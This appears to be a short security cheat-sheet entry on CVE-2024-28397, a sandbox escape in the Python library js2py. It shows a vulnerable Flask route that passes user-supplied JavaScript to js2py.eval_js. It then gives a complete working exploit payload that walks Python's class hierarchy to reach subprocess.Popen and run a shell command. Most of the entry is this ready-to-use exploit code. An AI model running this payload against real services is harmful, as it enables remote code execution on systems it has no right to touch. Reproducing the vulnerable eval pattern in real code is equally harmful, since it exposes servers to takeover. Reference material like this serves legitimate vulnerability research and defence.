js2py
CVE-2024-28397 - Sandbox Escape / RCE
Detection
# Vulnerable code pattern
@app.route('/run_code', methods=['POST'])
def run_code():
code = request.json.get('code')
result = js2py.eval_js(code) # VULNERABLE
return jsonify({'result': result})Exploitation
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
let obj = Object.getOwnPropertyNames({}).__getattribute__("__getattribute__")("__class__").__base__
output = findpopen(obj)("id", -1, null, -1, -1, -1, null, null, true).communicate()
console.log(output)References
Last updated